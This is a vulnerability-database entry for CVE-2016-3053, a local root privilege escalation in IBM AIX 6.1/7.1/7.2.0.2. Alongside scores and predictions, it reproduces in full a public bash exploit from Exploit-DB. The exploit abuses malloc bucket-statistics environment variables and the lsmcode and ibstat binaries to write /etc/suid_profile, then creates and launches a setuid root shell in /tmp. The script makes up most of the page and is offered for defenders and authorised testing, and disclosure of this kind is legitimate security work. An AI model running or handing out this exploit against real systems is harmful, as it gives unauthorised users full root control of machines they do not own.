CVE-2016-3053

high

Published 2017-02-01 · Modified 2026-05-13

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

7.8

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.8

Description

IBM AIX contains an unspecified vulnerability that would allow a locally authenticated user to obtain root level privileges.

Predictions

Exploit likelihood

75%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40709 local aix verified bash · 2 KB

Hector X. Monsegur · 2016-11-04

IBM AIX 6.1/7.1/7.2.0.2 - 'lsmcode' Local Privilege Escalation

bash exploit Source: Exploit-DB

#!/usr/bin/sh
#
# AIX lsmcode local root exploit. 
#
# Affected: AIX 6.1/7.1/7.2.0.2
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]

ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')

if [ ! -x "/usr/sbin/lsmcode" ]; then
    echo "[-] lsmcode isn't executable. Exploit failed."
    exit 1
fi

echo "[*] [lsmcode] AIX 6.1/7.1/7.2.0.2 Privilege escalation by @hxmonsegur //RSL"
echo "[*] Current id: `/usr/bin/id`"
echo "[*] Exporting variables"

MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
export MALLOCOPTIONS MALLOCBUCKETS

echo "[*] Setting umask to 000"
umask 000

echo "[*] Executing vulnerable binary [lsmcode]"
/usr/sbin/lsmcode -c >/dev/null 2>&1

if [ ! -e "/etc/suid_profile" ]; then
    echo "[-] /etc/suid_profile does not exist and exploit failed."
    exit 1
fi

echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile

echo "[*] Preparing escalation"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF

echo "[*] Cleaning up environment variables"
unset MALLOCBUCKETS MALLOCOPTIONS

echo "[*] Escalating"
/usr/bin/ibstat -a >/dev/null 2>&1

if [ ! -e "$ROOTSHELL" ]; then
    echo "[-] Rootshell does not exist and exploit failed."
    exit 1
fi

echo "[*] Executing rootshell"
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.